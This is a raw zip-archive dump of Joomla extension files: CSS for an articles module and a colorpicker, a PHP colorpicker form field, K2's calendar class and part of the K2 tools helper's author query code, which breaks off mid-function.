    padding: 2px;
    line-height: 22px;
    text-align: center;
    background-color: #ED352C;
    color: #fff;
}


/* Simple Spacer */
.control-group .control-label .spacer label {
    text-indent: -9999em;
    height: 1px;
    padding: 0;
    background: #ccc;
    margin: 3px auto;
    width: 100%;
    border: none;
    border-bottom: 1px solid white;
}

.btn-group {
    margin-top: -4px;
}

.btn-group.btn-group-yesno label {
    line-height: 20px!important;
}

.btn-group .fa {
    background: transparent;
    font-size: 14px;
    line-height: 26px;
    box-shadow: none;
    vertical-align: middle;
    margin: -7px 3px -3px;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

.btn-group [class*='fa-align'] {
    padding: 2px 29px 2px;
    line-height: 26px;
    margin: -7px -26px;
} 


/* ----- Scroll to Top ----- */
a#scroll-top{opacity:0;-moz-opacity:0;-webkit-opacity:0;filter:alpha(opacity=0);visibility:hidden;position:fixed;right:-20px;bottom:40px;height:40px;width:40px;line-height:40px;background:#aaa;background:rgba(0,0,0,0.3);-webkit-transition: all .5s cubic-bezier(0.405, 0.020, 0.325, 0.950) .2s;-moz-transition: all .5s cubic-bezier(0.405, 0.020, 0.325, 0.950) .2s;-o-transition: all .5s cubic-bezier(0.405, 0.020, 0.325, 0.950) .2s;transition: all .5s cubic-bezier(0.405, 0.020, 0.325, 0.950) .2s;}
a#scroll-top.open{right:10px;opacity:0.8;-moz-opacity:0.8;-webkit-opacity:0.8;filter:alpha(opacity=80);visibility:visible;}
a#scroll-top:hover{background:rgba(0,0,0,.4);opacity:1;-moz-opacity:1;-webkit-opacity:1;filter:alpha(opacity=100);}
a#scroll-top i{color:#fff;text-shadow:0 1px 2px rgba(0,0,0,.3);height:40px;width:40px;padding-left:11px;font-size:135%}


/* Responsive */	
@media (max-width: 979px) {
    .container-fluid.container-main {
        padding: 0;
    }

    #myTabContent, #myTabContent > div {
        clear: both;
    }

    .intro {
        width: 97%;
        clear: both;
    }

    #general div.span9 {
        width: 100%;
        margin: 0 auto;
        clear: both;
    }

    #general .form-inline-header .control-group .controls input#jform_title {
        width: 70%;
    }

    #general .span3 .form-vertical:first-child {
        margin-top: 10px;
        padding-top: 30px;
        border-top: 1px solid #ccc;
        box-shadow: inset 0 1px 0px white;
    }

    #general .span3 {
        width: 95%;
    }

    #general .span3 .form-vertical .control-group {
        width: 100%;
    }

    #general .span3 .form-vertical .control-group .control-label {
        width: 27%;
        display: inline;
        clear: none;
        text-align: right;
    }

    #general .span3 .form-vertical .control-group .controls {
        width: 70%;
        clear: none;
        display: inline;
    }

    #general .span3 .form-vertical .control-group .controls select, 
	 #general .span3 .form-vertical .control-group .controls fieldset {
        width: 38%;
    }

    .intro h1 {
        padding: 16px 0 15px 0;
        margin: 0 -10px 20px -10px;
        text-indent: 128px;
    }

    .intro p {
        margin: 0 10px 10px;
    }

    .intro p.license {
        margin: 20px 5px 10px;
    }

    #aphelpModal {
        width: 82%;
        height: 80%;
        margin-left: -41%;
        margin-top: 1%;
    }

    #aphelpModal .modal-body {
        max-height: 60%;
    }

    .modal-btn {
        right: 5%;
    }
}

@media (max-width: 767px) {
    #myTabTabs .copyright {
        bottom: 0;
        clear: both;
        margin: 15px auto;
        padding-top: 20px;
        position: relative;
    }

    #myTabTabs li a {
        padding: 10px 20px;
    }

    #myTabTabs li:first-child {
        margin-top: 15px;
    }

    #content,.span3,.span6,.span9,
	#myTabTabs, #myTabContent,
	#general div.row-fluid > div, 
	#general .form-inline-header .control-group .controls input#jform_title {
        width: 60%;
        position: relative;
        display: block;
        clear: both;
        width: 100%;
        padding: 0;
        margin: 0;
    }

    .intro {
        width: 100%;
        clear: both;
        margin: 0;
    }

    .control-group .control-label.aplabel {
        width: 40%;
        margin: 0;
        padding: 0;
        float: left;
    }

    .control-group .controls.apcontrols {
        width: 55%;
        margin: 0 0 0 2%;
        float: left;
        display: inline-block;
        text-align: left;
    }

    .modal-btn {
        float: right;
        clear: left;
        right: 10px;
        top: -20px;
        margin: 0 auto;
        padding: 0;
    }

    #aphelpModal {
        width: 80%;
        height: 80%;
        margin-left: 6%;
    }

    #aphelpModal .modal-body {
        max-height: 60%;
        font-size: 95%;
    }
}

@media (max-width: 480px) {
    #general .form-inline-header .control-group .control-label {
        width: 100%;
        float: left;
        position: relative;
        margin-top: 2px;
    }

    #general .form-inline-header .control-group .controls input#jform_title {
        position: relative;
        display: block;
        width: 100%;
    }

    .control-group .control-label.aplabel {
        width: 100%;
        margin: 1px 0 5px 0;
    }

    .control-group .control-label.aplabel label {
        text-align: left;
        width: auto;
        float: left;
        margin: 0 auto;
    }

    hr {
        background: red;
    }

    .control-group .controls.apcontrols {
        width: 100%;
        margin: 1px 0 5px 0;
    }

    .control-group .controls.apcontrols input {
        width: 95%;
    }

    #general .span3 .form-vertical .control-group .controls select, 
	#general .span3 .form-vertical .control-group .controls fieldset {
        width: 90%;
    }
}	
PK!
��WW3mod_ajax_intro_articles/admin/css/simple-slider.cssnu&1i�

div.slide_wrap {background:#ccc;width:350px;}

div.slide_wrap div.info {vertical-align:top;display:block;width:auto;float:left;font-size:14px;line-height:20px;border:1px solid #ccc;padding:3px 8px;border-radius:4px;}

/* Slider  */
.slider {width:200px;padding:0 26px 0 0;height:28px;display:block;float:left;margin-left:-8px;}
.slider-volume {width:200px;display:block;float:left;}
.slider > .dragger {
	float:left;
	background: #AAC866;
	-webkit-box-shadow: inset 0 2px 2px rgba(255,255,255,0.5), 0 2px 8px rgba(0,0,0,0.2);
	-moz-box-shadow: inset 0 2px 2px rgba(255,255,255,0.5), 0 2px 8px rgba(0,0,0,0.2);
	box-shadow: inset 0 2px 2px rgba(255,255,255,0.5), 0 2px 8px rgba(0,0,0,0.2);
	-webkit-border-radius: 10px;
	-moz-border-radius: 10px;
	border-radius: 10px;
	border: 1px solid #496805;
	width: 16px;
	height: 16px;
}

.slider > .dragger:hover {
  background: -webkit-linear-gradient(top, #8DCA09, #8DCA09);
}

.slider > .track, .slider > .highlight-track {
  background: #ccc;
  background: -webkit-linear-gradient(top, #bbb, #ddd);
  background: -moz-linear-gradient(top, #bbb, #ddd);
  background: linear-gradient(top, #bbb, #ddd);
  -webkit-box-shadow: inset 0 2px 4px rgba(0,0,0,0.1);
  -moz-box-shadow: inset 0 2px 4px rgba(0,0,0,0.1);
  box-shadow: inset 0 2px 4px rgba(0,0,0,0.1);
  -webkit-border-radius: 8px;
  -moz-border-radius: 8px;
  border-radius: 8px;
  border: 1px solid #aaa;
  height: 4px;
}

.slider > .highlight-track {
	border: 1px solid #496805;
	background: #AAC866;
}

@media (max-width: 480px) { 
	div.slide_wrap {width:380px;}
	.slider {width:220px;}
	.slider-volume {width:220px;}
}

PK!���+\\;mod_ajax_intro_articles/admin/css/bootstrap-colorpicker.cssnu&1i�/*!
 * Bootstrap Colorpicker v2.3.6
 * https://itsjavi.com/bootstrap-colorpicker/
 *
 * Originally written by (c) 2012 Stefan Petre
 * Licensed under the Apache License v2.0
 * http://www.apache.org/licenses/LICENSE-2.0.txt
 *
 */
.colorpicker-saturation {
  width: 100px;
  height: 100px;
  background-image: url("../images/bootstrap-colorpicker/saturation.png");
  cursor: crosshair;
  float: left;
}
.colorpicker-saturation i {
  display: block;
  height: 9px;
  width: 9px;
  border: 1px solid #000;
  -webkit-border-radius: 9px;
  -moz-border-radius: 9px;
  border-radius: 9px;
  position: absolute;
  top: 0;
  left: 0;
  margin: -4px 0 0 -4px;
  box-shadow:0 0 5px rgba(0,0,0,0.35);
}
.colorpicker-saturation i b {
  display: block;
  height: 7px;
  width: 7px;
  border: 1px solid #fff;
  -webkit-border-radius: 7px;
  -moz-border-radius: 7px;
  border-radius: 7px;
}
.colorpicker-hue,
.colorpicker-alpha {
  width: 15px;
  height: 100px;
  float: left;
  cursor: row-resize;
  margin-left: 5px;
  margin-bottom: 5px;
}
.colorpicker-hue i,
.colorpicker-alpha i {
  display: block;
  height: 3px;
  background: #fff;
  border: 1px solid #000;
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  margin: -2px 0 0 0;
  box-shadow:0 1px 2px rgba(0,0,0,0.5);
}
.colorpicker-hue {
  background-image: url("../images/bootstrap-colorpicker/hue.png");
}
.colorpicker-alpha {
  background-image: url("../images/bootstrap-colorpicker/alpha.png");
  display: none;
}
.colorpicker-saturation,
.colorpicker-hue,
.colorpicker-alpha {
  background-size: contain;
}
.colorpicker {
  padding: 7px;

  min-width: 130px;
  margin-top: 15px;
  
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px;
  border-radius: 4px;
  z-index: 2500;
}
.colorpicker-flex {
	padding:7px 7px 1px 7px!Important;

	margin-left:212px!important;
	margin-top:-90px!important;
	position:absolute;
}
.colorpicker-flex .colorpicker-saturation {
	width: 140px;
	height: 140px;
}

.colorpicker-flex .colorpicker-hue,
.colorpicker-flex .colorpicker-alpha {
	width: 20px;
	height: 140px;
}

.colorpicker-flex .colorpicker-color,
.colorpicker-flex .colorpicker-color div {
	display:none;
	margin-top:-7px!important;
}
.colorpicker-component .input-group-addon {
   width:200px;
   float:left;
}

.colorpicker-component input.form-control {
	position:absolute;
	background:transparent;
	text-indent:25px;
	font-size:14px;
	
}

.colorpicker:before,
.colorpicker:after {
  display: none;
}
.colorpicker div {
  position: relative;
}
.colorpicker.colorpicker-with-alpha {
  min-width: 140px;
}
.colorpicker.colorpicker-with-alpha .colorpicker-alpha {
  display: block;
}
.colorpicker-color {
  height: 10px;
  margin-top: 5px;
  clear: both;
  background-image: url("../images/bootstrap-colorpicker/alpha.png");
  background-position: 0 100%;
}
.colorpicker-color div {
  height: 10px;
}
.colorpicker-selectors {
  display: none;
  height: 10px;
  margin-top: 5px;
  clear: both;
}
.colorpicker-selectors i {
  cursor: pointer;
  float: left;
  height: 10px;
  width: 10px;
}
.colorpicker-selectors i + i {
  margin-left: 3px;
}
.colorpicker-element input {
	display:block;
	min-height:23px!important;

}
.colorpicker-element .input-group-addon i,
.colorpicker-element .add-on i {
	display: inline-block;
	z-index:2;
	cursor: pointer;
	vertical-align: text-top;
	position:absolute;
	float:left;
	margin:6px 0 0 6px;
	width:20px;
	height:20px;
	border-radius:3px;
	border:1px solid rgba(0,0,0,.15);
	box-shadow:inset 0 10px 1px rgba(255,255,255,.1);
}
.colorpicker-element .input-group-addon span.transparent,
.colorpicker-element .add-on span.transparent {
  position:absolute;
  z-index:1;
  background-image: url("../images/bootstrap-colorpicker/alpha.png");
  background-position: 0 100%;
  background-repeat:repeat;
  margin:7px 0 0 7px;
  border-radius:2px;
  width: 20px;
  height: 20px;
}
.colorpicker.colorpicker-inline {
  position: relative;
  display: inline-block;
  float: none;
  z-index: auto;
}
.colorpicker.colorpicker-horizontal {
  width: 110px;
  min-width: 110px;
  height: auto;
}
.colorpicker.colorpicker-horizontal .colorpicker-saturation {
  margin-bottom: 4px;
}
.colorpicker.colorpicker-horizontal .colorpicker-color {
  width: 100px;
}
.colorpicker.colorpicker-horizontal .colorpicker-hue,
.colorpicker.colorpicker-horizontal .colorpicker-alpha {
  width: 100px;
  height: 15px;
  float: left;
  cursor: col-resize;
  margin-left: 0px;
  margin-bottom: 4px;
}
.colorpicker.colorpicker-horizontal .colorpicker-hue i,
.colorpicker.colorpicker-horizontal .colorpicker-alpha i {
  display: block;
  height: 15px;
  background: #ffffff;
  position: absolute;
  top: 0;
  left: 0;
  width: 1px;
  border: none;
  margin-top: 0px;
}
.colorpicker.colorpicker-horizontal .colorpicker-hue {
  background-image: url("../images/bootstrap-colorpicker/hue-horizontal.png");
}
.colorpicker.colorpicker-horizontal .colorpicker-alpha {
  background-image: url("../images/bootstrap-colorpicker/alpha-horizontal.png");
}
.colorpicker.colorpicker-hidden {
  display: none;
}
.colorpicker.colorpicker-visible {
  display: block;
}
.colorpicker-inline.colorpicker-visible {
  display: inline-block;
}
.colorpicker-right:before {
  left: auto;
  right: 6px;
}
.colorpicker-right:after {
  left: auto;
  right: 7px;
}
.colorpicker-no-arrow:before {
  border-right: 0;
  border-left: 0;
}
.colorpicker-no-arrow:after {
  border-right: 0;
  border-left: 0;
}




@media (max-width: 768px) {
	.colorpicker, .colorpicker-flex {
		margin-left:40px!important;
		margin-top:12px!important;
		padding:7px;
	}
	.colorpicker:before,
	.colorpicker:after {
	  display: table!important;
	  content: "";
	  line-height: 0;
	}
	.colorpicker:after {
	  clear: both;
	}
	.colorpicker:before {
	  content: '';
	  display: inline-block;
	  border-left: 7px solid transparent;
	  border-right: 7px solid transparent;
	  border-bottom: 7px solid #ccc;
	  border-bottom-color: rgba(0, 0, 0, 0.2);
	  position: absolute;
	  top: -7px;
	  left: 16px;
	}
	.colorpicker:after {
	  content: '';
	  display: inline-block;
	  border-left: 6px solid transparent;
	  border-right: 6px solid transparent;
	  border-bottom: 6px solid #ffffff;
	  position: absolute;
	  top: -6px;
	  left: 17px;
	}
}PK!�)V,,-mod_ajax_intro_articles/admin/colorpicker.phpnu&1i�<?php
/**
 * Custom Joomla! form field to generate Bootstrap Colorpicker input with optional opacity slider
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die('Restricted access');

JFormHelper::loadFieldClass('color');

class JFormFieldColorpicker extends JFormFieldColor {

  protected $type = 'Colorpicker';

  /**
   * Method to get the field input markup.
   *
   * @return  string  The field input markup.
   *
   * @since   11.3
   */
  protected function getInput() {
	
    $class = ' ' . $this->class;
	
	$default_hint = $this->element['default'] != '' ? $default_hint = $this->element['default'] : $default_hint = 'transparent';
 
	$value = strtolower($this->value);

    $doc = JFactory::getDocument();
	$plg_path = JURI::root(true) . '/plugins/system/helix3';
	$doc->addScript($plg_path . '/assets/js/bootstrap-colorpicker.js');
	$doc->addStyleSheet($plg_path . '/assets/css/bootstrap-colorpicker.css');
	
	JFactory::getDocument()->addScriptDeclaration('
	  jQuery(function () {
		 jQuery("#' . $this->id . '").colorpicker({
			customClass: \'colorpicker-flex\',
			sliders: {
				saturation: {
					maxLeft: 137,
					maxTop: 137
				},
				hue: {
					maxTop: 137
				},
				alpha: {
					maxTop: 137
				}
			 }	
		  });  
	  });
	');

    return '<div id="' . $this->id . '" class="colorpicker-component"><span class="input-group-addon"><span class="transparent"></span><i></i><input type="text" name="' . $this->name . '"' . ' class="form-control'.$class.'" value="'.$value.'" placeholder="'.$default_hint.'" /></span></div>';
  }
}PK!�1I,3,3'mod_k2_tools/includes/calendarClass.phpnu&1i�<?php
/**
 * @version    2.7.x
 * @package    K2
 * @author     JoomlaWorks http://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2016 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

// PHP Calendar Class Version 1.4 (5th March 2001)
//
// Copyright David Wilkinson 2000 - 2001. All Rights reserved.
//
// This software may be used, modified and distributed freely
// providing this copyright notice remains intact at the head
// of the file.
//
// This software is freeware. The author accepts no liability for
// any loss or damages whatsoever incurred directly or indirectly
// from the use of this script. The author of this software makes
// no claims as to its fitness for any purpose whatsoever. If you
// wish to use this software you should first satisfy yourself that
// it meets your requirements.
//
// URL:   http://www.cascade.org.uk/software/php/calendar/
// Email: davidw@cascade.org.uk


class Calendar
{


    /*
        Get the array of strings used to label the days of the week. This array contains seven
        elements, one for each day of the week. The first entry in this array represents Sunday.
    */
    function getDayNames()
    {
        return $this->dayNames;
    }


    /*
        Set the array of strings used to label the days of the week. This array must contain seven
        elements, one for each day of the week. The first entry in this array represents Sunday.
    */
    function setDayNames($names)
    {
        $this->dayNames = $names;
    }

    /*
        Get the array of strings used to label the months of the year. This array contains twelve
        elements, one for each month of the year. The first entry in this array represents January.
    */
    function getMonthNames()
    {
        return $this->monthNames;
    }

    /*
        Set the array of strings used to label the months of the year. This array must contain twelve
        elements, one for each month of the year. The first entry in this array represents January.
    */
    function setMonthNames($names)
    {
        $this->monthNames = $names;
    }



    /*
        Gets the start day of the week. This is the day that appears in the first column
        of the calendar. Sunday = 0.
    */
      function getStartDay()
    {
        return $this->startDay;
    }

    /*
        Sets the start day of the week. This is the day that appears in the first column
        of the calendar. Sunday = 0.
    */
    function setStartDay($day)
    {
        $this->startDay = $day;
    }


    /*
        Gets the start month of the year. This is the month that appears first in the year
        view. January = 1.
    */
    function getStartMonth()
    {
        return $this->startMonth;
    }

    /*
        Sets the start month of the year. This is the month that appears first in the year
        view. January = 1.
    */
    function setStartMonth($month)
    {
        $this->startMonth = $month;
    }


    /*
        Return the URL to link to in order to display a calendar for a given month/year.
        You must override this method if you want to activate the "forward" and "back"
        feature of the calendar.

        Note: If you return an empty string from this function, no navigation link will
        be displayed. This is the default behaviour.

        If the calendar is being displayed in "year" view, $month will be set to zero.
    */
    function getCalendarLink($month, $year)
    {
        return "";
    }

    /*
        Return the URL to link to  for a given date.
        You must override this method if you want to activate the date linking
        feature of the calendar.

        Note: If you return an empty string from this function, no navigation link will
        be displayed. This is the default behaviour.
    */
    function getDateLink($day, $month, $year)
    {
        return "";
    }


    /*
        Return the HTML for the current month
    */
    function getCurrentMonthView()
    {
        $d = getdate(time());
        return $this->getMonthView($d["mon"], $d["year"]);
    }


    /*
        Return the HTML for the current year
    */
    function getCurrentYearView()
    {
        $d = getdate(time());
        return $this->getYearView($d["year"]);
    }


    /*
        Return the HTML for a specified month
    */
    function getMonthView($month, $year)
    {
        return $this->getMonthHTML($month, $year);
    }


    /*
        Return the HTML for a specified year
    */
    function getYearView($year)
    {
        return $this->getYearHTML($year);
    }



    /********************************************************************************

        The rest are private methods. No user-servicable parts inside.

        You shouldn't need to call any of these functions directly.

    *********************************************************************************/


    /*
        Calculate the number of days in a month, taking into account leap years.
    */
    function getDaysInMonth($month, $year)
    {
        if ($month < 1 || $month > 12)
        {
            return 0;
        }

        $d = $this->daysInMonth[$month - 1];

        if ($month == 2)
        {
            // Check for leap year
            // Forget the 4000 rule, I doubt I'll be around then...

            if ($year%4 == 0)
            {
                if ($year%100 == 0)
                {
                    if ($year%400 == 0)
                    {
                        $d = 29;
                    }
                }
                else
                {
                    $d = 29;
                }
            }
        }

        return $d;
    }


    /*
        Generate the HTML for a given month
    */
    function getMonthHTML($m, $y, $showYear = 1)
    {
        $s = "";

        $a = $this->adjustDate($m, $y);
        $month = $a[0];
        $year = $a[1];

    	$daysInMonth = $this->getDaysInMonth($month, $year);
    	$date = getdate(mktime(12, 0, 0, $month, 1, $year));

    	$first = $date["wday"];
    	$monthName = $this->monthNames[$month - 1];

    	$prev = $this->adjustDate($month - 1, $year);
    	$next = $this->adjustDate($month + 1, $year);

    	if ($showYear == 1)
    	{
    	    $prevMonth = $this->getCalendarLink($prev[0], $prev[1]);
    	    $nextMonth = $this->getCalendarLink($next[0], $next[1]);
    	}
    	else
    	{
    	    $prevMonth = "";
    	    $nextMonth = "";
    	}

    	$header = $monthName . (($showYear > 0) ? " " . $year : "");

    	$s .= "<table class=\"calendar\">\n";
    	$s .= "<tr>\n";
    	$s .= "<td class=\"calendarNavMonthPrev\">" . (($prevMonth == "") ? "&nbsp;" : "<a class=\"calendarNavLink\" href=\"$prevMonth\">&laquo;</a>")  . "</td>\n";
    	$s .= "<td class=\"calendarCurrentMonth\" colspan=\"5\">$header</td>\n";
    	$s .= "<td class=\"calendarNavMonthNext\">" . (($nextMonth == "") ? "&nbsp;" : "<a class=\"calendarNavLink\" href=\"$nextMonth\">&raquo;</a>")  . "</td>\n";
    	$s .= "</tr>\n";

    	$s .= "<tr>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay)%7] . "</td>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay+1)%7] . "</td>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay+2)%7] . "</td>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay+3)%7] . "</td>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay+4)%7] . "</td>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay+5)%7] . "</td>\n";
    	$s .= "<td class=\"calendarDayName\" style=\"width:".round(100/7)."%\">" . $this->dayNames[($this->startDay+6)%7] . "</td>\n";
    	$s .= "</tr>\n";

    	// We need to work out what date to start at so that the first appears in the correct column
    	$d = $this->startDay + 1 - $first;
    	while ($d > 1)
    	{
    	    $d -= 7;
    	}

        // Make sure we know when today is, so that we can use a different CSS style
        $today = getdate(time());

    	while ($d <= $daysInMonth)
    	{
    	    $s .= "<tr>\n";

    	    for ($i = 0; $i < 7; $i++)
    	    {
        	    $class = ($year == $today["year"] && $month == $today["mon"] && $d == $today["mday"]) ? "calendarToday" : "calendarDate";

    	        if ($d > 0 && $d <= $daysInMonth){
    	            $link = $this->getDateLink($d, $month, $year);
    	            if($link == ""){
    	            	$s .= "<td class=\"{$class}\">$d</td>\n";
    	            } else {
    	            	$s .= "<td class=\"{$class}Linked\"><a href=\"$link\">$d</a></td>\n";
    	            }
    	        } else {
    	        		$s .= "<td class=\"calendarDateEmpty\">&nbsp;</td>\n";
    	        }

        	    $d++;
    	    }
    	    $s .= "</tr>\n";
    	}

    	$s .= "</table>\n";

    	return $s;
    }


    /*
        Generate the HTML for a given year
    */
    function getYearHTML($year)
    {
        $s = "";
    	$prev = $this->getCalendarLink(0, $year - 1);
    	$next = $this->getCalendarLink(0, $year + 1);

        $s .= "<table class=\"calendar\" border=\"0\">\n";
        $s .= "<tr>";
    		$s .= "<td class=\"calendarNavMonthPrev\">" . (($prev == "") ? "&nbsp;" : "<a class=\"calendarNavLink\" href=\"$prev\">&laquo;</a>")  . "</td>\n";
        $s .= "<td class=\"calendarCurrentMonth\">" . (($this->startMonth > 1) ? $year . " - " . ($year + 1) : $year) ."</td>\n";
    		$s .= "<td class=\"calendarNavMonthNext\">" . (($next == "") ? "&nbsp;" : "<a class=\"calendarNavLink\" href=\"$next\">&raquo;</a>")  . "</td>\n";
        $s .= "</tr>\n";
        $s .= "<tr>";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(0 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(1 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(2 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "</tr>\n";
        $s .= "<tr>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(3 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(4 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(5 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "</tr>\n";
        $s .= "<tr>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(6 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(7 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(8 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "</tr>\n";
        $s .= "<tr>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(9 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(10 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "<td class=\"calendarMonth\">" . $this->getMonthHTML(11 + $this->startMonth, $year, 0) ."</td>\n";
        $s .= "</tr>\n";
        $s .= "</table>\n";

        return $s;
    }

    /*
        Adjust dates to allow months > 12 and < 0. Just adjust the years appropriately.
        e.g. Month 14 of the year 2001 is actually month 2 of year 2002.
    */
    function adjustDate($month, $year)
    {
        $a = array();
        $a[0] = $month;
        $a[1] = $year;

        while ($a[0] > 12)
        {
            $a[0] -= 12;
            $a[1]++;
        }

        while ($a[0] <= 0)
        {
            $a[0] += 12;
            $a[1]--;
        }

        return $a;
    }

    /*
        The start day of the week. This is the day that appears in the first column
        of the calendar. Sunday = 0.
    */
    var $startDay = 0;

    /*
        The start month of the year. This is the month that appears in the first slot
        of the calendar in the year view. January = 1.
    */
    var $startMonth = 1;

    /*
        The labels to display for the days of the week. The first entry in this array
        represents Sunday.
    */
    var $dayNames = array("S", "M", "T", "W", "T", "F", "S");

    /*
        The labels to display for the months of the year. The first entry in this array
        represents January.
    */
    var $monthNames = array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December");

    /*
        The number of days in each month. You're unlikely to want to change this...
        The first entry in this array represents January.
    */
    var $daysInMonth = array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

}

?>
PK!�r/N~�~�mod_k2_tools/helper.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

require_once(JPATH_SITE.'/components/com_k2/helpers/route.php');
require_once(JPATH_SITE.'/components/com_k2/helpers/utilities.php');
require_once(JPATH_SITE.'/media/k2/assets/vendors/cascade/calendar/calendar.php');

class modK2ToolsHelper
{
    public static $paths = array();

    public static function getAuthors(&$params)
    {
        $app = JFactory::getApplication();
        $componentParams = JComponentHelper::getParams('com_k2');
        $where = '';
        $cid = $params->get('authors_module_category');
        if ($cid > 0) {
            $categories = modK2ToolsHelper::getCategoryChildren($cid);
            $categories[] = $cid;
            JArrayHelper::toInteger($categories);
            $where = " catid IN(".implode(',', $categories).") AND ";
        }

        $user = JFactory::getUser();
        $aid = (int)$user->get('aid');
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = K2_JVERSION == '15' ? $jnow->toMySQL() : $jnow->toSql();
        $nullDate = $db->getNullDate();

        if (K2_JVERSION != '15') {
            $languageCheck = '';
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $languageCheck = "AND language IN (".$db->Quote($languageTag).", ".$db->Quote('*').")";
            }
            $query = "SELECT created_by FROM #__k2_items
            WHERE {$where} published=1
            AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." )
            AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." )
            AND trash=0
            AND access IN(".implode(',', $user->getAuthorisedViewLevels()).")
            AND created_by_alias=''
            {$languageCheck}
            AND EXISTS (SELECT * FROM #__k2_categories WHERE id= #__k2_items.catid AND published=1 AND trash=0 AND access IN(".implode(',', $user->getAuthorisedViewLevels()).") {$languageCheck})
            GROUP BY created_by";
        } else {
            $query = "SELECT created_by FROM #__k2_items
            WHERE {$where} published=1
            AND ( publish_up = ".$db->Quote($nullDate)." OR publish_up <= ".$db->Quote($now)." )
            AND ( publish_down = ".$db->Quote($nullDate)." OR publish_down >= ".$db->Quote($now)." )
            AND trash=0
            AND access<={$aid}
            AND created_by_alias=''
            AND EXISTS (SELECT * FROM #__k2_categories WHERE id= #__k2_items.catid AND published=1 AND trash=0 AND access<={$aid})
            GROUP BY created_by";
        }

        $db->setQuery($query);
        $rows = $db->loadObjectList();

        $authors = array();
        if (count($rows)) {
            foreach ($rows as $row) {
                $author = JFactory::getUser($row->created_by);
                $author->link = JRoute::_(K2HelperRoute::getUserRoute($author->id));

                $query = "SELECT id, gender, description, image, url, `group`, plugins FROM #__k2_users WHERE userID=".(int)$author->id;
                $db->setQuery($query);
                $author->profile = $db->loadObject();

                if ($params->get('authorAvatar')) {
                    $author->avatar = K2HelperUtilities::getAvatar($author->id, $author->email, $componentParams->get('userImageWidth'));
                }

                if (K2_JVERSION != '15') {
                    $languageCheck = '';
                    if ($app->getLanguageFilter()) {
                        $languageTag = JFactory::getLanguage()->getTag();
                        $languageCheck = "AND i.language IN (".$db->Quote($languageTag).", ".$db->Quote('*').") AND c.language IN (".$db->Quote($languageTag).", ".$db->Quote('*').")";
                    }
                    $query = "SELECT i.*, c.alias as categoryalias FROM #__k2_items as i
                    LEFT JOIN #__k2_categories c ON c.id = i.catid
                    WHERE i.created_by = ".(int)$author->id."
                    AND i.published = 1
                    AND i.access IN(".implode(',', $user->getAuthorisedViewLevels()).")
                    AND ( i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now)." )
                    AND ( i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now)." )
                    AND i.trash = 0 AND created_by_alias='' AND c.published = 1 AND c.access IN(".implode(',', $user->getAuthorisedViewLevels()).") AND c.trash = 0 {$languageCheck} ORDER BY created DESC";
                } else {
                    $query = "SELECT i.*, c.alias as categoryalias FROM #__k2_items as i
                    LEFT JOIN #__k2_categories c ON c.id = i.catid
                    WHERE i.created_by = ".(int)$author->id."
                    AND i.published = 1
                    AND i.access <= {$aid}
                    AND ( i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now)." )
                    AND ( i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now)." )
                    AND i.trash = 0 AND created_by_alias='' AND c.published = 1 AND c.access <= {$aid} AND c.trash = 0 ORDER BY created DESC";
                }

                $db->setQuery($query, 0, 1);
                $author->latest = $db->loadObject();
                $author->latest->id = (int)$author->latest->id;
